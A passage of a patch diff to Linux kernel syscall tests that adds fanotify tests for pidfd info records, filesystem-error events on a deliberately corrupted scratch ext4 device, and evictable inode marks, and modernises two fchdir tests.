+	 * generation in a child process is done so that the FAN_NOPIDFD case
+	 * can be verified.
+	 */
+	if (tc->fork)
+		do_fork();
+	else
+		generate_event();
+
+	/*
+	 * Read all of the queued events into the provided event
+	 * buffer.
+	 */
+	len = SAFE_READ(0, fanotify_fd, event_buf, sizeof(event_buf));
+	while (i < len) {
+		struct fanotify_event_metadata *event;
+		struct fanotify_event_info_pidfd *info;
+		struct pidfd_fdinfo_t *event_pidfd_fdinfo = NULL;
+
+		event = (struct fanotify_event_metadata *)&event_buf[i];
+		info = (struct fanotify_event_info_pidfd *)(event + 1);
+
+		/*
+		 * Checks ensuring that pidfd information record object header
+		 * fields are set correctly.
+		 */
+		if (info->hdr.info_type != FAN_EVENT_INFO_TYPE_PIDFD) {
+			tst_res(TFAIL,
+				"unexpected info_type received in info "
+				"header (expected: %d, got: %d",
+				FAN_EVENT_INFO_TYPE_PIDFD,
+				info->hdr.info_type);
+			info = NULL;
+			goto next_event;
+		} else if (info->hdr.len !=
+			   sizeof(struct fanotify_event_info_pidfd)) {
+			tst_res(TFAIL,
+				"unexpected info object length "
+				"(expected: %lu, got: %d",
+				sizeof(struct fanotify_event_info_pidfd),
+				info->hdr.len);
+			info = NULL;
+			goto next_event;
+		}
+
+		/*
+		 * Check if pidfd information object reported any errors during
+		 * creation and whether they're expected.
+		 */
+		if (info->pidfd < 0 && !tc->want_pidfd_err) {
+			tst_res(TFAIL,
+				"pidfd creation failed for pid: %u with pidfd error value "
+				"set to: %d",
+				(unsigned int)event->pid,
+				info->pidfd);
+			goto next_event;
+		} else if (tc->want_pidfd_err &&
+			   info->pidfd != tc->want_pidfd_err) {
+			tst_res(TFAIL,
+				"pidfd set to an unexpected error: %d for pid: %u",
+				info->pidfd,
+				(unsigned int)event->pid);
+			goto next_event;
+		} else if (tc->want_pidfd_err &&
+			   info->pidfd == tc->want_pidfd_err) {
+			tst_res(TPASS,
+				"pid: %u terminated before pidfd was created, "
+				"pidfd set to the value of: %d, as expected",
+				(unsigned int)event->pid,
+				FAN_NOPIDFD);
+			goto next_event;
+		}
+
+		/*
+		 * No pidfd errors occurred, continue with verifying pidfd
+		 * fdinfo validity.
+		 */
+		event_pidfd_fdinfo = read_pidfd_fdinfo(info->pidfd);
+		if (event_pidfd_fdinfo == NULL) {
+			tst_brk(TBROK,
+				"reading fdinfo for pidfd: %d "
+				"describing pid: %u failed",
+				info->pidfd,
+				(unsigned int)event->pid);
+			goto next_event;
+		} else if (event_pidfd_fdinfo->pid != event->pid) {
+			tst_res(TFAIL,
+				"pidfd provided for incorrect pid "
+				"(expected pidfd for pid: %u, got pidfd for "
+				"pid: %u)",
+				(unsigned int)event->pid,
+				(unsigned int)event_pidfd_fdinfo->pid);
+			goto next_event;
+		} else if (memcmp(event_pidfd_fdinfo, self_pidfd_fdinfo,
+				  sizeof(struct pidfd_fdinfo_t))) {
+			tst_res(TFAIL,
+				"pidfd fdinfo values for self and event differ "
+				"(expected pos: %d, flags: %x, mnt_id: %d, "
+				"pid: %d, ns_pid: %d, got pos: %d, "
+				"flags: %x, mnt_id: %d, pid: %d, ns_pid: %d",
+				self_pidfd_fdinfo->pos,
+				self_pidfd_fdinfo->flags,
+				self_pidfd_fdinfo->mnt_id,
+				self_pidfd_fdinfo->pid,
+				self_pidfd_fdinfo->ns_pid,
+				event_pidfd_fdinfo->pos,
+				event_pidfd_fdinfo->flags,
+				event_pidfd_fdinfo->mnt_id,
+				event_pidfd_fdinfo->pid,
+				event_pidfd_fdinfo->ns_pid);
+			goto next_event;
+		} else {
+			tst_res(TPASS,
+				"got an event with a valid pidfd info record, "
+				"mask: %lld, pid: %u, fd: %d, "
+				"pidfd: %d, info_type: %d, info_len: %d",
+				(unsigned long long)event->mask,
+				(unsigned int)event->pid,
+				event->fd,
+				info->pidfd,
+				info->hdr.info_type,
+				info->hdr.len);
+		}
+
+next_event:
+		i += event->event_len;
+		if (event->fd >= 0)
+			SAFE_CLOSE(event->fd);
+
+		if (info && info->pidfd >= 0)
+			SAFE_CLOSE(info->pidfd);
+
+		if (event_pidfd_fdinfo)
+			free(event_pidfd_fdinfo);
+	}
+}
+
+static void do_cleanup(void)
+{
+	if (fanotify_fd >= 0)
+		SAFE_CLOSE(fanotify_fd);
+
+	if (self_pidfd_fdinfo)
+		free(self_pidfd_fdinfo);
+}
+
+static struct tst_test test = {
+	.setup = do_setup,
+	.test = do_test,
+	.tcnt = ARRAY_SIZE(test_cases),
+	.cleanup = do_cleanup,
+	.all_filesystems = 1,
+	.needs_root = 1,
+	.mntpoint = MOUNT_PATH,
+	.forks_child = 1,
+};
+
+#else
+	TST_TEST_TCONF("system doesn't have required fanotify support");
+#endif /* HAVE_SYS_FANOTIFY_H */
diff --git a/testcases/kernel/syscalls/fanotify/fanotify22.c b/testcases/kernel/syscalls/fanotify/fanotify22.c
new file mode 100644
index 0000000..6596a69
--- /dev/null
+++ b/testcases/kernel/syscalls/fanotify/fanotify22.c
@@ -0,0 +1,318 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 Collabora Ltd.
+ *
+ * Author: Gabriel Krisman Bertazi <gabriel@krisman.be>
+ * Based on previous work by Amir Goldstein <amir73il@gmail.com>
+ */
+
+/*\
+ * [Description]
+ * Check fanotify FAN_ERROR_FS events triggered by intentionally
+ * corrupted filesystems:
+ *
+ * - Generate a broken filesystem
+ * - Start FAN_FS_ERROR monitoring group
+ * - Make the file system notice the error through ordinary operations
+ * - Observe the event generated
+ */
+
+#define _GNU_SOURCE
+#include "config.h"
+
+#include <stdio.h>
+#include <sys/types.h>
+#include <errno.h>
+#include <string.h>
+#include <sys/mount.h>
+#include <sys/syscall.h>
+#include "tst_test.h"
+#include <sys/types.h>
+
+#ifdef HAVE_SYS_FANOTIFY_H
+#include "fanotify.h"
+
+#ifndef EFSCORRUPTED
+#define EFSCORRUPTED    EUCLEAN         /* Filesystem is corrupted */
+#endif
+
+#define BUF_SIZE 256
+
+#define MOUNT_PATH "test_mnt"
+#define BASE_DIR "internal_dir"
+#define BAD_DIR BASE_DIR"/bad_dir"
+
+#ifdef HAVE_NAME_TO_HANDLE_AT
+
+static char event_buf[BUF_SIZE];
+static int fd_notify;
+
+/* These expected FIDs are common to multiple tests */
+static struct fanotify_fid_t null_fid;
+static struct fanotify_fid_t bad_file_fid;
+
+static void trigger_fs_abort(void)
+{
+	SAFE_MOUNT(tst_device->dev, MOUNT_PATH, tst_device->fs_type,
+		   MS_REMOUNT|MS_RDONLY, "abort");
+}
+
+static void do_debugfs_request(const char *dev, char *request)
+{
+	const char *const cmd[] = {"debugfs", "-w", dev, "-R", request, NULL};
+
+	SAFE_CMD(cmd, NULL, NULL);
+}
+
+static void tcase2_trigger_lookup(void)
+{
+	int ret;
+
+	/* SAFE_OPEN cannot be used here because we expect it to fail. */
+	ret = open(MOUNT_PATH"/"BAD_DIR, O_RDONLY, 0);
+	if (ret != -1 && errno != EUCLEAN)
+		tst_res(TFAIL, "Unexpected lookup result(%d) of %s (%d!=%d)",
+			ret, BAD_DIR, errno, EUCLEAN);
+}
+
+static void tcase3_trigger(void)
+{
+	trigger_fs_abort();
+	tcase2_trigger_lookup();
+}
+
+static void tcase4_trigger(void)
+{
+	tcase2_trigger_lookup();
+	trigger_fs_abort();
+}
+
+static struct test_case {
+	char *name;
+	int error;
+	unsigned int error_count;
+	struct fanotify_fid_t *fid;
+	void (*trigger_error)(void);
+} testcases[] = {
+	{
+		.name = "Trigger abort",
+		.trigger_error = &trigger_fs_abort,
+		.error_count = 1,
+		.error = ESHUTDOWN,
+		.fid = &null_fid,
+	},
+	{
+		.name = "Lookup of inode with invalid mode",
+		.trigger_error = &tcase2_trigger_lookup,
+		.error_count = 1,
+		.error = EFSCORRUPTED,
+		.fid = &bad_file_fid,
+	},
+	{
+		.name = "Multiple error submission",
+		.trigger_error = &tcase3_trigger,
+		.error_count = 2,
+		.error = ESHUTDOWN,
+		.fid = &null_fid,
+	},
+	{
+		.name = "Multiple error submission 2",
+		.trigger_error = &tcase4_trigger,
+		.error_count = 2,
+		.error = EFSCORRUPTED,
+		.fid = &bad_file_fid,
+	}
+};
+
+static int check_error_event_info_fid(struct fanotify_event_info_fid *fid,
+				 const struct test_case *ex)
+{
+	struct file_handle *fh = (struct file_handle *) &fid->handle;
+
+	if (memcmp(&fid->fsid, &ex->fid->fsid, sizeof(fid->fsid))) {
+		tst_res(TFAIL, "%s: Received bad FSID type (%x...!=%x...)",
+			ex->name, FSID_VAL_MEMBER(fid->fsid, 0),
+			ex->fid->fsid.val[0]);
+
+		return 1;
+	}
+	if (fh->handle_type != ex->fid->handle.handle_type) {
+		tst_res(TFAIL, "%s: Received bad file_handle type (%d!=%d)",
+			ex->name, fh->handle_type, ex->fid->handle.handle_type);
+		return 1;
+	}
+
+	if (fh->handle_bytes != ex->fid->handle.handle_bytes) {
+		tst_res(TFAIL, "%s: Received bad file_handle len (%d!=%d)",
+			ex->name, fh->handle_bytes, ex->fid->handle.handle_bytes);
+		return 1;
+	}
+
+	if (memcmp(fh->f_handle, ex->fid->handle.f_handle, fh->handle_bytes)) {
+		tst_res(TFAIL, "%s: Received wrong handle. "
+			"Expected (%x...) got (%x...) ", ex->name,
+			*(int *)ex->fid->handle.f_handle, *(int *)fh->f_handle);
+		return 1;
+	}
+	return 0;
+}
+
+static int check_error_event_info_error(struct fanotify_event_info_error *info_error,
+				 const struct test_case *ex)
+{
+	int fail = 0;
+
+	if (info_error->error_count != ex->error_count) {
+		tst_res(TFAIL, "%s: Unexpected error_count (%d!=%d)",
+			ex->name, info_error->error_count, ex->error_count);
+		fail++;
+	}
+
+	if (info_error->error != ex->error) {
+		tst_res(TFAIL, "%s: Unexpected error code value (%d!=%d)",
+			ex->name, info_error->error, ex->error);
+		fail++;
+	}
+
+	return fail;
+}
+
+static int check_error_event_metadata(struct fanotify_event_metadata *event)
+{
+	int fail = 0;
+
+	if (event->mask != FAN_FS_ERROR) {
+		fail++;
+		tst_res(TFAIL, "got unexpected event %llx",
+			(unsigned long long)event->mask);
+	}
+
+	if (event->fd != FAN_NOFD) {
+		fail++;
+		tst_res(TFAIL, "Weird FAN_FD %llx",
+			(unsigned long long)event->mask);
+	}
+	return fail;
+}
+
+static void check_event(char *buf, size_t len, const struct test_case *ex)
+{
+	struct fanotify_event_metadata *event =
+		(struct fanotify_event_metadata *) buf;
+	struct fanotify_event_info_error *info_error;
+	struct fanotify_event_info_fid *info_fid;
+	int fail = 0;
+
+	if (len < FAN_EVENT_METADATA_LEN) {
+		tst_res(TFAIL, "No event metadata found");
+		return;
+	}
+
+	if (check_error_event_metadata(event))
+		return;
+
+	info_error = get_event_info_error(event);
+	if (info_error)
+		fail += check_error_event_info_error(info_error, ex);
+	else {
+		tst_res(TFAIL, "Generic error record not found");
+		fail++;
+	}
+
+	info_fid = get_event_info_fid(event);
+	if (info_fid)
+		fail += check_error_event_info_fid(info_fid, ex);
+	else {
+		tst_res(TFAIL, "FID record not found");
+		fail++;
+	}
+
+	if (!fail)
+		tst_res(TPASS, "Successfully received: %s", ex->name);
+}
+
+static void do_test(unsigned int i)
+{
+	const struct test_case *tcase = &testcases[i];
+	size_t read_len;
+
+	SAFE_FANOTIFY_MARK(fd_notify, FAN_MARK_ADD|FAN_MARK_FILESYSTEM,
+			   FAN_FS_ERROR, AT_FDCWD, MOUNT_PATH);
+
+	tcase->trigger_error();
+
+	read_len = SAFE_READ(0, fd_notify, event_buf, BUF_SIZE);
+
+	SAFE_FANOTIFY_MARK(fd_notify, FAN_MARK_REMOVE|FAN_MARK_FILESYSTEM,
+			   FAN_FS_ERROR, AT_FDCWD, MOUNT_PATH);
+
+	check_event(event_buf, read_len, tcase);
+}
+
+static void pre_corrupt_fs(void)
+{
+	SAFE_MKDIR(MOUNT_PATH"/"BASE_DIR, 0777);
+	SAFE_MKDIR(MOUNT_PATH"/"BAD_DIR, 0777);
+
+	fanotify_save_fid(MOUNT_PATH"/"BAD_DIR, &bad_file_fid);
+
+	SAFE_UMOUNT(MOUNT_PATH);
+	do_debugfs_request(tst_device->dev, "sif " BAD_DIR " mode 0xff");
+	SAFE_MOUNT(tst_device->dev, MOUNT_PATH, tst_device->fs_type, 0, NULL);
+}
+
+static void init_null_fid(void)
+{
+	/* Use fanotify_save_fid to fill the fsid and overwrite the
+	 * file_handler to create a null_fid
+	 */
+	fanotify_save_fid(MOUNT_PATH, &null_fid);
+
+	null_fid.handle.handle_type = FILEID_INVALID;
+	null_fid.handle.handle_bytes = 0;
+}
+
+static void setup(void)
+{
+	REQUIRE_FANOTIFY_EVENTS_SUPPORTED_ON_FS(FAN_CLASS_NOTIF|FAN_REPORT_FID,
+						FAN_MARK_FILESYSTEM,
+						FAN_FS_ERROR, ".");
+	pre_corrupt_fs();
+
+	fd_notify = SAFE_FANOTIFY_INIT(FAN_CLASS_NOTIF|FAN_REPORT_FID,
+				       O_RDONLY);
+
+	init_null_fid();
+}
+
+static void cleanup(void)
+{
+	if (fd_notify > 0)
+		SAFE_CLOSE(fd_notify);
+}
+
+static struct tst_test test = {
+	.test = do_test,
+	.tcnt = ARRAY_SIZE(testcases),
+	.setup = setup,
+	.cleanup = cleanup,
+	.mount_device = 1,
+	.mntpoint = MOUNT_PATH,
+	.needs_root = 1,
+	.dev_fs_type = "ext4",
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "124e7c61deb2"},
+		{}
+	},
+	.needs_cmds = (const char *[]) {
+		"debugfs",
+		NULL
+	}
+};
+
+#else
+	TST_TEST_TCONF("system does not have required name_to_handle_at() support");
+#endif
+#else
+	TST_TEST_TCONF("system doesn't have required fanotify support");
+#endif
diff --git a/testcases/kernel/syscalls/fanotify/fanotify23.c b/testcases/kernel/syscalls/fanotify/fanotify23.c
new file mode 100644
index 0000000..89fd4f3
--- /dev/null
+++ b/testcases/kernel/syscalls/fanotify/fanotify23.c
@@ -0,0 +1,258 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright (c) 2022 CTERA Networks.  All Rights Reserved.
+ *
+ * Author: Amir Goldstein <amir73il@gmail.com>
+ */
+
+/*\
+ * [Description]
+ * Check evictable fanotify inode marks.
+ */
+
+#define _GNU_SOURCE
+#include "config.h"
+
+#include <stdio.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <errno.h>
+#include <string.h>
+#include <sys/syscall.h>
+#include "tst_test.h"
+
+#ifdef HAVE_SYS_FANOTIFY_H
+#include "fanotify.h"
+
+#define EVENT_MAX 1024
+/* size of the event structure, not counting name */
+#define EVENT_SIZE  (sizeof(struct fanotify_event_metadata))
+/* reasonable guess as to size of 1024 events */
+#define EVENT_BUF_LEN        (EVENT_MAX * EVENT_SIZE)
+
+#define MOUNT_PATH "fs_mnt"
+#define TEST_FILE MOUNT_PATH "/testfile"
+
+#define DROP_CACHES_FILE "/proc/sys/vm/drop_caches"
+#define CACHE_PRESSURE_FILE "/proc/sys/vm/vfs_cache_pressure"
+
+static int old_cache_pressure;
+static int fd_notify;
+
+static unsigned long long event_set[EVENT_MAX];
+
+static char event_buf[EVENT_BUF_LEN];
+
+static void fsync_file(const char *path)
+{
+	int fd = SAFE_OPEN(path, O_RDONLY);
+
+	SAFE_FSYNC(fd);
+	SAFE_CLOSE(fd);
+}
+
+/* Flush out all pending dirty inodes and destructing marks */
+static void mount_cycle(void)
+{
+	SAFE_UMOUNT(MOUNT_PATH);
+	SAFE_MOUNT(tst_device->dev, MOUNT_PATH, tst_device->fs_type, 0, NULL);
+}
+
+static int verify_mark_removed(const char *path, const char *when)
+{
+	int ret;
+
+	/*
+	 * We know that inode with evictable mark was evicted when a
+	 * bogus call remove ACCESS from event mask returns ENOENT.
+	 */
+	errno = 0;
+	ret = fanotify_mark(fd_notify, FAN_MARK_REMOVE,
+			    FAN_ACCESS, AT_FDCWD, path);
+	if (ret == -1 && errno == ENOENT) {
+		tst_res(TPASS,
+			"FAN_MARK_REMOVE failed with ENOENT as expected"
+			" %s", when);
+		return 1;
+	}
+
+	tst_res(TFAIL | TERRNO,
+		"FAN_MARK_REMOVE did not fail with ENOENT as expected"
+		" %s", when);
+
+	return 0;
+}
+
+static void test_fanotify(void)
+{
+	int ret, len, test_num = 0;
+	struct fanotify_event_metadata *event;
+	int tst_count = 0;
+
+	fd_notify = SAFE_FANOTIFY_INIT(FAN_CLASS_NOTIF | FAN_REPORT_FID |
+				       FAN_NONBLOCK, O_RDONLY);
+
+	/*
+	 * Verify that evictable mark can be upgraded to non-evictable
+	 * and cannot be downgraded to evictable.
+	 */
+	SAFE_FANOTIFY_MARK(fd_notify, FAN_MARK_ADD | FAN_MARK_EVICTABLE,
+			   FAN_ACCESS,
+			   AT_FDCWD, TEST_FILE);
+	SAFE_FANOTIFY_MARK(fd_notify, FAN_MARK_ADD,
+			   FAN_ACCESS,
+			   AT_FDCWD, TEST_FILE);
+	errno = 0;
+	ret = fanotify_mark(fd_notify, FAN_MARK_ADD | FAN_MARK_EVICTABLE,
+			    FAN_ACCESS,
+			    AT_FDCWD, TEST_FILE);
+	if (ret == -1 && errno == EEXIST) {
+		tst_res(TPASS,
+			"FAN_MARK_ADD failed with EEXIST as expected"
+			" when trying to downgrade to evictable mark");
+	} else {
+		tst_res(TFAIL | TERRNO,
+			"FAN_MARK_ADD did not fail with EEXIST as expected"
+			" when trying to downgrade to evictable mark");
+	}
+	SAFE_FANOTIFY_MARK(fd_notify, FAN_MARK_REMOVE,
+			   FAN_ACCESS,
+			   AT_FDCWD, TEST_FILE);
+	verify_mark_removed(TEST_FILE, "after empty mask");
+
+
+	/*
+	 * Watch ATTRIB events on entire mount
+	 */
+	SAFE_FANOTIFY_MARK(fd_notify, FAN_MARK_ADD | FAN_MARK_FILESYSTEM,
+			   FAN_ATTRIB, AT_FDCWD, MOUNT_PATH);
+
+	/*
+	 * Generate events
+	 */
+	SAFE_CHMOD(TEST_FILE, 0600);
+	event_set[tst_count] = FAN_ATTRIB;
+	tst_count++;
+
+	/* Read events so far */
+	ret = SAFE_READ(0, fd_notify, event_buf, EVENT_BUF_LEN);
+	len = ret;
+
+	/*
+	 * Evictable mark on file ignores ATTRIB events
+	 */
+	SAFE_FANOTIFY_MARK(fd_notify, FAN_MARK_ADD | FAN_MARK_EVICTABLE |
+			   FAN_MARK_IGNORED_MASK | FAN_MARK_IGNORED_SURV_MODIFY,
+			   FAN_ATTRIB, AT_FDCWD, TEST_FILE);
+
+	/* ATTRIB event should be ignored */
+	SAFE_CHMOD(TEST_FILE, 0600);
+
+	/*
+	 * Read events to verify event was ignored
+	 */
+	ret = read(fd_notify, event_buf + len, EVENT_BUF_LEN - len);
+	if (ret < 0 && errno == EAGAIN) {
+		tst_res(TPASS, "Got no events as expected");
+	} else {
+		tst_res(TFAIL, "Got expected events");
+		len += ret;
+	}
+
+	/*
+	 * drop_caches should evict inode from cache and remove evictable mark
+	 */
+	fsync_file(TEST_FILE);
+	SAFE_FILE_PRINTF(DROP_CACHES_FILE, "3");
+
+	verify_mark_removed(TEST_FILE, "after drop_caches");
+
+	SAFE_CHMOD(TEST_FILE, 0600);
+	event_set[tst_count] = FAN_ATTRIB;
+	tst_count++;
+
+	/* Read events to verify ATTRIB event was properly generated */
+	ret = SAFE_READ(0, fd_notify, event_buf + len, EVENT_BUF_LEN - len);
+	len += ret;
+
+	/*
+	 * Check events
+	 */
+	event = (struct fanotify_event_metadata *)event_buf;
+
+	/* Iterate over and validate events against expected result set */
+	while (FAN_EVENT_OK(event, len) && test_num < tst_count) {
+		if (!(event->mask & event_set[test_num])) {
+			tst_res(TFAIL,
+				"got event: mask=%llx (expected %llx)",
+				(unsigned long long)event->mask,
+				event_set[test_num]);
+		} else {
+			tst_res(TPASS,
+				"got event: mask=%llx",
+				(unsigned long long)event->mask);
+		}
+		/*
+		 * Close fd and invalidate it so that we don't check it again
+		 * unnecessarily
+		 */
+		if (event->fd >= 0)
+			SAFE_CLOSE(event->fd);
+		event->fd = FAN_NOFD;
+		event->mask &= ~event_set[test_num];
+		/* No events left in current mask? Go for next event */
+		if (event->mask == 0)
+			event = FAN_EVENT_NEXT(event, len);
+		test_num++;
+	}
+
+	while (FAN_EVENT_OK(event, len)) {
+		tst_res(TFAIL,
+			"got unnecessary event: mask=%llx",
+			(unsigned long long)event->mask);
+		if (event->fd != FAN_NOFD)
+			SAFE_CLOSE(event->fd);
+		event = FAN_EVENT_NEXT(event, len);
+	}
+
+	SAFE_CLOSE(fd_notify);
+	/* Flush out all pending dirty inodes and destructing marks */
+	mount_cycle();
+}
+
+static void setup(void)
+{
+	SAFE_TOUCH(TEST_FILE, 0666, NULL);
+
+	REQUIRE_MARK_TYPE_SUPPORTED_BY_KERNEL(FAN_MARK_EVICTABLE);
+	REQUIRE_FANOTIFY_EVENTS_SUPPORTED_ON_FS(FAN_CLASS_NOTIF|FAN_REPORT_FID,
+						FAN_MARK_FILESYSTEM,
+						FAN_ATTRIB, ".");
+
+	SAFE_FILE_SCANF(CACHE_PRESSURE_FILE, "%d", &old_cache_pressure);
+	/* Set high priority for evicting inodes */
+	SAFE_FILE_PRINTF(CACHE_PRESSURE_FILE, "500");
+}
+
+static void cleanup(void)
+{
+	if (fd_notify > 0)
+		SAFE_CLOSE(fd_notify);
+
+	SAFE_FILE_PRINTF(CACHE_PRESSURE_FILE, "%d", old_cache_pressure);
+}
+
+static struct tst_test test = {
+	.test_all = test_fanotify,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.mount_device = 1,
+	.mntpoint = MOUNT_PATH,
+	/* Shrinkers on other fs do not work reliably enough to guarantee mark eviction on drop_caches */
+	.dev_fs_type = "ext2",
+};
+
+#else
+	TST_TEST_TCONF("system doesn't have required fanotify support");
+#endif
diff --git a/testcases/kernel/syscalls/fchdir/fchdir01.c b/testcases/kernel/syscalls/fchdir/fchdir01.c
index 526dfca..90fbb8f 100644
--- a/testcases/kernel/syscalls/fchdir/fchdir01.c
+++ b/testcases/kernel/syscalls/fchdir/fchdir01.c
@@ -1,171 +1,39 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
  *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
 /*
- * NAME
- *	fchdir01.c
- *
  * DESCRIPTION
  *	fchdir01 - create a directory and cd into it.
- *
- * ALGORITHM
- *	create a new directory
- *	open the directory and get a file descriptor
- *	loop if that option was specified
- *	fchdir() into the directory
- *	check the return code
- *	  if failure, issue a FAIL message.
- *	otherwise,
- *	  if doing functionality testing, call check_functionality()
- *	  	if correct,
- *			issue a PASS message
- *		otherwise
- *			issue a FAIL message
- *	call cleanup
- *
- * USAGE:  <for command-line>
- *  fchdir01 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *
- * RESTRICTIONS
- *	none
  */
 
-#include "test.h"
+#include "tst_test.h"
 
-#include <sys/stat.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <libgen.h>
-#include <string.h>
-
-void cleanup(void);
-void setup(void);
-
-char *TCID = "fchdir01";
-int TST_TOTAL = 1;
-
-int fd;
-char *temp_dir;
-const char *TEST_DIR = "alpha";
+static int fd;
+static const char *TEST_DIR = "alpha";
 
 #define MODES	S_IRWXU
 
-int main(int ac, char **av)
+static void verify_fchdir(void)
 {
-	int lc;
-	void check_functionality(void);
-	int r_val;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();		/* global setup */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		/* get the name of the test dirctory */
-		if ((temp_dir = (getcwd(temp_dir, 0))) == NULL)
-			tst_brkm(TBROK, cleanup, "getcwd failed");
-
-		/*
-		 * create a new directory and open it
-		 */
-
-		if ((r_val = mkdir(TEST_DIR, MODES)) == -1)
-			tst_brkm(TBROK, cleanup, "mkdir failed");
-
-		if ((fd = open(TEST_DIR, O_RDONLY)) == -1)
-			tst_brkm(TBROK, cleanup, "open of directory failed");
-
-		TEST(fchdir(fd));
-
-		if (TEST_RETURN == -1) {
-			tst_brkm(TFAIL | TTERRNO, cleanup,
-				 "fchdir call failed");
-		} else {
-				check_functionality();
-		}
-
-		/*
-		 * clean up things in case we are looping
-		 */
-
-		/*
-		 * NOTE: in case of failure here, we need to use "tst_resm()"
-		 * and not "tst_brkm()".  This is because if we get to this
-		 * point, we have already set a PASS or FAIL for the test
-		 * and "tst_brkm()" won't report as we might expect.
-		 */
-
-		/* chdir back to our temporary work directory */
-		if ((r_val = chdir("..")) == -1)
-			tst_resm(TBROK | TERRNO, "chdir failed");
-
-		if ((r_val = rmdir(TEST_DIR)) == -1)
-			tst_resm(TBROK | TERRNO, "rmdir failed");
-
-		free(temp_dir);
-		temp_dir = NULL;
-	}
-
-	cleanup();
-	tst_exit();
+	TST_EXP_PASS(fchdir(fd));
 }
 
-void check_functionality(void)
+static void setup(void)
 {
-	char *buf = NULL;
-	char *dir;
-
-	if ((buf = (getcwd(buf, 0))) == NULL) {
-		tst_brkm(TBROK, cleanup, "getcwd failed");
-	}
-
-	if ((dir = basename(buf)) == NULL)
-		tst_brkm(TBROK, cleanup, "basename failed");
-
-	if (strcmp(TEST_DIR, dir) == 0)
-		tst_resm(TPASS, "fchdir call succeeded");
-	else
-		tst_resm(TFAIL, "fchdir call failed");
+	SAFE_MKDIR(TEST_DIR, MODES);
+	fd = SAFE_OPEN(TEST_DIR, O_RDONLY);
 }
 
-void setup(void)
+static void cleanup(void)
 {
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
+	SAFE_CLOSE(fd);
 }
 
-void cleanup(void)
-{
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.test_all = verify_fchdir,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/fchdir/fchdir02.c b/testcases/kernel/syscalls/fchdir/fchdir02.c
index cf11bf6..a87e34d 100644
--- a/testcases/kernel/syscalls/fchdir/fchdir02.c
+++ b/testcases/kernel/syscalls/fchdir/fchdir02.c
@@ -1,110 +1,22 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
  *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
 /*
- * NAME
- *	fchdir02.c
- *
  * DESCRIPTION
  *	fchdir02 - try to cd into a bad directory (bad fd).
- *
- * CALLS
- *	fchdir()
- *
- * ALGORITHM
- *	loop if that option was specified
- *	call fchdir() with an invalid file descriptor
- *	check the errno value
- *	  issue a PASS message if we get EBADF - errno 9
- *	otherwise, the tests fails
- *	  issue a FAIL message
- *	  break any remaining tests
- *	  call cleanup
- *
- * USAGE:  <for command-line>
- *  fchdir02 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *
- * RESTRICTIONS
- *	none
  */
 
-#include "test.h"
+#include "tst_test.h"
 
-#include <errno.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-
-void cleanup(void);
-void setup(void);
-
-char *TCID = "fchdir02";
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
+static void verify_fchdir(void)
 {
 	const int bad_fd = -5;
-	int lc;
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();		/* global setup */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		TEST(fchdir(bad_fd));
-
-		if (TEST_RETURN != -1)
-			tst_brkm(TFAIL, cleanup, "call succeeded unexpectedly");
-
-		if (TEST_ERRNO == EBADF)
-			tst_resm(TPASS, "failed as expected with EBADF");
-		else
-			tst_brkm(TFAIL | TTERRNO, cleanup,
-				 "call failed unexpectedly");
-	}
-
-	cleanup();
-
-	tst_exit();
+	TST_EXP_FAIL(fchdir(bad_fd), EBADF);
 }
 
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-}
-
-void cleanup(void)
-{
-	tst_rmdir();
-}
+static struct tst_test test = {
